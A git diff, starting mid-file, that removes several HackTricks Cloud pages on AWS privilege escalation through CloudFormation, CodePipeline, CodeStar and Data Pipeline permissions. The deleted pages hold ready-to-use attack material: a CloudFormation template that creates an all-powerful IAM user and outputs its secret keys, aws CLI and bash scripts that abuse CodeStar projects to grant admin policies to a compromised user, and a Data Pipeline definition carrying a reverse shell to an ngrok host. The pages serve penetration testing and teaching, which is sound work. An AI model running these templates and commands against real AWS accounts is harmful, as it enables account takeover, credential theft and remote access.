-Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-An attacker could for example use a **cloudformation template** that generates **keys for an admin** user like:
-
-```json
-{
-     "Resources": {
-         "AdminUser": {
-             "Type": "AWS::IAM::User"
-         },
-         "AdminPolicy": {
-             "Type": "AWS::IAM::ManagedPolicy",
-                 "Properties": {
-                 "Description" : "This policy allows all actions on all resources.",
-                 "PolicyDocument": {
-                     "Version": "2012-10-17",
-                     "Statement": [
-                     {
-                         "Effect": "Allow",
-                         "Action": [
-                         "*"
-                         ],
-                         "Resource": "*"
-                     }]
-                 },
-                 "Users": [{
-                     "Ref": "AdminUser"
-                 }]
-             }
-         },
-         "MyUserKeys": {
-             "Type": "AWS::IAM::AccessKey",
-             "Properties": {
-                 "UserName": {
-                     "Ref": "AdminUser"
-                 }
-             }
-         }
-       },
-     "Outputs": {
-         "AccessKey": {
-             "Value": {
-                 "Ref": "MyUserKeys"
-             },
-             "Description": "Access Key ID of Admin User"
-         },
-         "SecretKey": {
-             "Value": {
-                 "Fn::GetAtt": [
-                 "MyUserKeys",
-                 "SecretAccessKey"
-                 ]
-             },
-             "Description": "Secret Key of Admin User"
-         }
-     }
-}
-```
-
-Then **generate the cloudformation stack**:
-
-```bash
-aws cloudformation create-stack --stack-name privesc \
-    --template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
-    --role arn:aws:iam::[REDACTED]:role/adminaccess \
-    --capabilities CAPABILITY_IAM --region us-west-2
-```
-
-**Wait for a couple of minutes** for the stack to be generated and then **get the output** of the stack where the **credentials are stored**:
-
-```bash
-aws cloudformation describe-stacks \
-    --stack-name arn:aws:cloudformation:us-west2:[REDACTED]:stack/privesc/b4026300-d3fe-11e9-b3b5-06fe8be0ff5e \
-    --region uswest-2
-```
-
-### References
-
-* [https://bishopfox.com/blog/privilege-escalation-in-aws](https://bishopfox.com/blog/privilege-escalation-in-aws)
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md b/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md
deleted file mode 100644
index d9fdae9de..000000000
--- a/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md
+++ /dev/null
@@ -1,63 +0,0 @@
-# AWS - Codepipeline Privesc
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## codepipeline
-
-For more info about codepipeline check:
-
-{% content-ref url="../aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md" %}
-[aws-datapipeline-codepipeline-codebuild-and-codecommit.md](../aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md)
-{% endcontent-ref %}
-
-### `iam:PassRole`, `codepipeline:CreatePipeline`, `codebuild:CreateProject, codepipeline:StartPipelineExecution`
-
-When creating a code pipeline you can indicate a **codepipeline IAM Role to run**, therefore you could compromise them.
-
-Apart from the previous permissions you would need **access to the place where the code is stored** (S3, ECR, github, bitbucket...)
-
-I tested this doing the process in the web page, the permissions indicated previously are the not List/Get ones needed to create a codepipeline, but for creating it in the web you will also need: `codebuild:ListCuratedEnvironmentImages, codebuild:ListProjects, codebuild:ListRepositories, codecommit:ListRepositories, events:PutTargets, codepipeline:ListPipelines, events:PutRule, codepipeline:ListActionTypes, cloudtrail:<several>`
-
-During the **creation of the build project** you can indicate a **command to run** (rev shell?) and to run the build phase as **privileged user**, that's the configuration the attacker needs to compromise:
-
-![](<../../../.gitbook/assets/image (276).png>)
-
-![](<../../../.gitbook/assets/image (181).png>)
-
-### ?`codebuild:UpdateProject, codepipeline:UpdatePipeline, codepipeline:StartPipelineExecution`
-
-It might be possible to modify the role used and the command executed on a codepipeline with the previous permissions.
-
-### `codepipeline:pollforjobs`
-
-[AWS mentions](https://docs.aws.amazon.com/codepipeline/latest/APIReference/API_PollForJobs.html):
-
-> When this API is called, CodePipeline **returns temporary credentials for the S3 bucket** used to store artifacts for the pipeline, if the action requires access to that S3 bucket for input or output artifacts. This API also **returns any secret values defined for the action**.
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md b/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md
deleted file mode 100644
index 106d50e48..000000000
--- a/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md
+++ /dev/null
@@ -1,99 +0,0 @@
-# AWS - Codestar Privesc
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## Codestar
-
-You can find more information about codestar in:
-
-{% content-ref url="codestar-createproject-codestar-associateteammember.md" %}
-[codestar-createproject-codestar-associateteammember.md](codestar-createproject-codestar-associateteammember.md)
-{% endcontent-ref %}
-
-### `iam:PassRole`, `codestar:CreateProject`
-
-With these permissions you can **abuse a codestar IAM Role** to perform **arbitrary actions** through a **cloudformation template**. Check the following page:
-
-{% content-ref url="iam-passrole-codestar-createproject.md" %}
-[iam-passrole-codestar-createproject.md](iam-passrole-codestar-createproject.md)
-{% endcontent-ref %}
-
-### `codestar:CreateProject`, `codestar:AssociateTeamMember`
-
-This technique uses `codestar:CreateProject` to create a codestar project, and `codestar:AssociateTeamMember` to make an IAM user the **owner** of a new CodeStar **project**, which will grant them a **new policy with a few extra permissions**.
-
-```bash
-PROJECT_NAME="supercodestar"
-
-aws --profile "$NON_PRIV_PROFILE_USER" codestar create-project \
-    --name $PROJECT_NAME \
-    --id $PROJECT_NAME 
-
-echo "Waiting 1min to start the project"
-sleep 60
-
-USER_ARN=$(aws --profile "$NON_PRIV_PROFILE_USER" opsworks describe-my-user-profile | jq .UserProfile.IamUserArn | tr -d '"')
-
-aws --profile "$NON_PRIV_PROFILE_USER" codestar associate-team-member \
-    --project-id $PROJECT_NAME \
-    --user-arn "$USER_ARN" \
-    --project-role "Owner" \
-    --remote-access-allowed
-```
-
-If you are already a **member of the project** you can use the permission **`codestar:UpdateTeamMember`** to **update your role** to owner instead of `codestar:AssociateTeamMember`
-
-**Potential Impact:** Privesc to the codestar policy generated. You can find an example of that policy in:
-
-{% content-ref url="codestar-createproject-codestar-associateteammember.md" %}
-[codestar-createproject-codestar-associateteammember.md](codestar-createproject-codestar-associateteammember.md)
-{% endcontent-ref %}
-
-### `codestar:CreateProjectFromTemplate`
-
-1. **Create a New Project:**
-   * Utilize the **`codestar:CreateProjectFromTemplate`** action to initiate the creation of a new project.
-     * Upon successful creation, access is automatically granted for **`cloudformation:UpdateStack`**.
-     * This access specifically targets a stack associated with the `CodeStarWorker-<generic project name>-CloudFormation` IAM role.
-2. **Update the Target Stack:**
-   * With the granted CloudFormation permissions, proceed to update the specified stack.
-     * The stack's name will typically conform to one of two patterns:
-       * `awscodestar-<generic project name>-infrastructure`
-       * `awscodestar-<generic project name>-lambda`
-       * The exact name depends on the chosen template (referencing the example exploit script).
-3. **Access and Permissions:**
-   * Post-update, you obtain the capabilities assigned to the **CloudFormation IAM role** linked with the stack.
-   * Note: This does not inherently provide full administrator privileges. Additional misconfigured resources within the environment might be required to elevate privileges further.
-
-For more information check the original research: [https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/](https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/).\
-You can find the exploit in [https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar\_createprojectfromtemplate\_privesc/CodeStarPrivEsc.py](https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py)
-
-**Potential Impact:** Privesc to cloudformation IAM role.
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/codestar-createproject-codestar-associateteammember.md b/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/codestar-createproject-codestar-associateteammember.md
deleted file mode 100644
index 883d19f18..000000000
--- a/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/codestar-createproject-codestar-associateteammember.md
+++ /dev/null
@@ -1,115 +0,0 @@
-# codestar:CreateProject, codestar:AssociateTeamMember
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-This is the created policy the user can privesc to (the project name was `supercodestar`):
-
-```json
-{
-    "Version": "2012-10-17",
-    "Statement": [
-        {
-            "Sid": "1",
-            "Effect": "Allow",
-            "Action": [
-                "codestar:*",
-                "iam:GetPolicy*",
-                "iam:ListPolicyVersions"
-            ],
-            "Resource": [
-                "arn:aws:codestar:eu-west-1:947247140022:project/supercodestar",
-                "arn:aws:events:eu-west-1:947247140022:rule/awscodestar-supercodestar-SourceEvent",
-                "arn:aws:iam::947247140022:policy/CodeStar_supercodestar_Owner"
-            ]
-        },
-        {
-            "Sid": "2",
-            "Effect": "Allow",
-            "Action": [
-                "codestar:DescribeUserProfile",
-                "codestar:ListProjects",
-                "codestar:ListUserProfiles",
-                "codestar:VerifyServiceRole",
-                "cloud9:DescribeEnvironment*",
-                "cloud9:ValidateEnvironmentName",
-                "cloudwatch:DescribeAlarms",
-                "cloudwatch:GetMetricStatistics",
-                "cloudwatch:ListMetrics",
-                "codedeploy:BatchGet*",
-                "codedeploy:List*",
-                "codestar-connections:UseConnection",
-                "ec2:DescribeInstanceTypeOfferings",
-                "ec2:DescribeInternetGateways",
-                "ec2:DescribeNatGateways",
-                "ec2:DescribeRouteTables",
-                "ec2:DescribeSecurityGroups",
-                "ec2:DescribeSubnets",
-                "ec2:DescribeVpcs",
-                "events:ListRuleNamesByTarget",
-                "iam:GetAccountSummary",
-                "iam:GetUser",
-                "iam:ListAccountAliases",
-                "iam:ListRoles",
-                "iam:ListUsers",
-                "lambda:List*",
-                "sns:List*"
-            ],
-            "Resource": [
-                "*"
-            ]
-        },
-        {
-            "Sid": "3",
-            "Effect": "Allow",
-            "Action": [
-                "codestar:*UserProfile",
-                "iam:GenerateCredentialReport",
-                "iam:GenerateServiceLastAccessedDetails",
-                "iam:CreateAccessKey",
-                "iam:UpdateAccessKey",
-                "iam:DeleteAccessKey",
-                "iam:UpdateSSHPublicKey",
-                "iam:UploadSSHPublicKey",
-                "iam:DeleteSSHPublicKey",
-                "iam:CreateServiceSpecificCredential",
-                "iam:UpdateServiceSpecificCredential",
-                "iam:DeleteServiceSpecificCredential",
-                "iam:ResetServiceSpecificCredential",
-                "iam:Get*",
-                "iam:List*"
-            ],
-            "Resource": [
-                "arn:aws:iam::947247140022:user/${aws:username}"
-            ]
-        }
-    ]
-}
-```
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md b/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md
deleted file mode 100644
index 60d1b28c4..000000000
--- a/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md
+++ /dev/null
@@ -1,118 +0,0 @@
-# iam:PassRole, codestar:CreateProject
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-With these permissions you can **abuse a codestar IAM Role** to perform **arbitrary actions** through a **cloudformation template**.
-
-To exploit this you need to create a **S3 bucket that is accessible** from the attacked account. Upload a file called `toolchain.json` . This file should contain the **cloudformation template exploit**. The following one can be used to set a managed policy to a user under your control and **give it admin permissions**:
-
-{% code title="toolchain.json" %}
-```json
-{
-    "Resources": {
-        "supercodestar": {
-            "Type": "AWS::IAM::ManagedPolicy",
-            "Properties": {
-                "ManagedPolicyName": "CodeStar_supercodestar",
-                "PolicyDocument": {
-                    "Version": "2012-10-17",
-                    "Statement": [
-                        {
-                            "Effect": "Allow",
-                            "Action": "*",
-                            "Resource": "*"
-                        }
-                    ]
-                },
-                "Users": [
-                    "<compromised username>"
-                ]
-            }
-        }
-    }
-}
-```
-{% endcode %}
-
-Also **upload** this `empty zip` file to the **bucket**:
-
-{% file src="../../../../.gitbook/assets/empty.zip" %}
-
-Remember that the **bucket with both files must be accessible by the victim account**.
-
-With both things uploaded you can now proceed to the **exploitation** creating a **codestar** project:
-
-```bash
-PROJECT_NAME="supercodestar"
-
-# Crecte the source JSON
-## In this JSON the bucket and key (path) to the empry.zip file is used
-SOURCE_CODE_PATH="/tmp/surce_code.json"
-SOURCE_CODE="[
-    {
-        \"source\": {
-            \"s3\": {
-                \"bucketName\": \"privesc\",
-                \"bucketKey\": \"empty.zip\"
-            }
-    },
-        \"destination\": {
-            \"codeCommit\": {
-                \"name\": \"$PROJECT_NAME\"
-            }
-        }
-    }
-]"
-printf "$SOURCE_CODE" > $SOURCE_CODE_PATH
-
-# Create the toolchain JSON
-## In this JSON the bucket and key (path) to the toolchain.json file is used
-TOOLCHAIN_PATH="/tmp/tool_chain.json"
-TOOLCHAIN="{
-    \"source\": {
-        \"s3\": {
-            \"bucketName\": \"privesc\",
-            \"bucketKey\": \"toolchain.json\"
-        }
-    },
-    \"roleArn\": \"arn:aws:iam::947247140022:role/service-role/aws-codestar-service-role\"
-}"
-printf "$TOOLCHAIN" > $TOOLCHAIN_PATH
-
-# Create the codestar project that will use the cloudformation epxloit to privesc
-aws codestar create-project \
-    --name $PROJECT_NAME \
-    --id $PROJECT_NAME \
-    --source-code file://$SOURCE_CODE_PATH \
-    --toolchain file://$TOOLCHAIN_PATH
-```
-
-This exploit is based on the **Pacu exploit of these privileges**: [https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam\_\_privesc\_scan/main.py#L1997](https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam__privesc_scan/main.py#L1997) On it you can find a variation to create an admin managed policy for a role instead of to a user.
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md b/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md
deleted file mode 100644
index 4e5b80724..000000000
--- a/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md
+++ /dev/null
@@ -1,100 +0,0 @@
-# AWS - Datapipeline Privesc
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## datapipeline
-
-For more info about datapipeline check:
-
-{% content-ref url="../aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md" %}
-[aws-datapipeline-codepipeline-codebuild-and-codecommit.md](../aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md)
-{% endcontent-ref %}
-
-### `iam:PassRole`, `datapipeline:CreatePipeline`, `datapipeline:PutPipelineDefinition`, `datapipeline:ActivatePipeline`
-
-Users with these **permissions can escalate privileges by creating a Data Pipeline** to execute arbitrary commands using the **permissions of the assigned role:**
-
-```bash
-aws datapipeline create-pipeline --name my_pipeline --unique-id unique_string
-```
-
-After pipeline creation, the attacker updates its definition to dictate specific actions or resource creations:
-
-```json
-{
-     "objects": [
-     {
-         "id" : "CreateDirectory",
-         "type" : "ShellCommandActivity",
-         "command" : "bash -c 'bash -i >& /dev/tcp/8.tcp.ngrok.io/13605 0>&1'",
-         "runsOn" : {"ref": "instance"}
-     },
-     {
-         "id": "Default",
-         "scheduleType": "ondemand",
-         "failureAndRerunMode": "CASCADE",
-         "name": "Default",
-         "role": "assumable_datapipeline",
-         "resourceRole": "assumable_datapipeline"
-     },
-     {
-         "id" : "instance",
-         "name" : "instance",
-         "type" : "Ec2Resource",
-         "actionOnTaskFailure" : "terminate",
-         "actionOnResourceFailure" : "retryAll",
-         "maximumRetries" : "1",
-         "instanceType" : "t2.micro",
-         "securityGroups" : ["default"],
-         "role" : "assumable_datapipeline",
-         "resourceRole" : "assumable_ec2_profile_instance"
-     }]
-}
-```
-
-{% hint style="info" %}
-Note that the **role** in **line 14, 15 and 27** needs to be a role **assumable by datapipeline.amazonaws.com** and the role in **line 28** needs to be a **role assumable by ec2.amazonaws.com with a EC2 profile instance**.
-
-Moreover, the EC2 instance will only have access to the role assumable by the EC2 instance (so you can only steal that one).
-{% endhint %}
-
-```bash
-aws datapipeline put-pipeline-definition --pipeline-id <pipeline-id> \
-    --pipeline-definition file:///pipeline/definition.json
-```
-
-The **pipeline definition file, crafted by the attacker, includes directives to execute commands** or create resources via the AWS API, leveraging the Data Pipeline's role permissions to potentially gain additional privileges.
-
-**Potential Impact:** Direct privesc to the ec2 service role specified.
-
-## References
-
-* [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
